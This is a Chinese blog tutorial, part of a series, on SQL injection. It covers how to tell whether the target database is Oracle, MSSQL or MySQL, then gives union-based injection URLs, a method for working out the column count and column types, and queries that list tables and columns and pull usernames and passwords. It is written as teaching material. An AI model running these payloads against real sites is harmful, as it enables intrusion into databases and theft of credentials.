mysql、mssql和oracle数据库都有自己特有的一些命令,我们可以根据它们确定我们要注入的数据库类型。mysql与mssql中select @@version返回当前数据库的版本,oracle中 select banner from v&version 返回数据库版本。 不同数据库构造字符串的访问也不一样。如,要构造字符串“yeetrack”, oracle 中的命令是 'yee'||'track' ,mssql中的命令是 'yee'+'track', mysql中的命令是 'yee' 'track',中间是个空格。
Oracle数据库:
1.、对于一个查询的URL,例如http://www.yeetrack.com/?p=57,首先试探这个URL需要返回的列数,构造URL http://www.yeetrack.com/?p=54%20union%20select%20null%20from%20dual--,查看返回结果,如果错误说明返回列数不为1,增加null的个数,http://www.yeetrack.com/?p=57%20union%20select%20null%20null%20from%20dual--,直到结果不发生错误为止。
2、 确定了返回的列数,再来确认每一列的类型,依次将null改为'a',查看返回结果,返回a则正确;出现异常再修改'a'的位置,直到正确为止。
3、找到了一个正确的类型,就可以探测数据库的信息了。查询当前用户拥有的数据库的全部对象,selectobject_name, object_type fromuser_object.根据返回的信息,找到感兴趣的表,再探测该表的列。selectcolumn_name fromuser_tab_columns where table_name='tablename', 最后探测该表的数据, select username, password from user--
MSSQL数据库:
1、 同oracle数据库。
2、 同oracle数据库。
3、 探测数据库的信息,select name from sysobjects--,找到感兴趣的表,就可以提出表的字段和信息了。
本文是由youthflies发表在易踪网(yeetrack.com)上的原创文章,原文地址为:http://www.yeetrack.com/?p=57
sql注入解析(三)数据库类型
点赞
收藏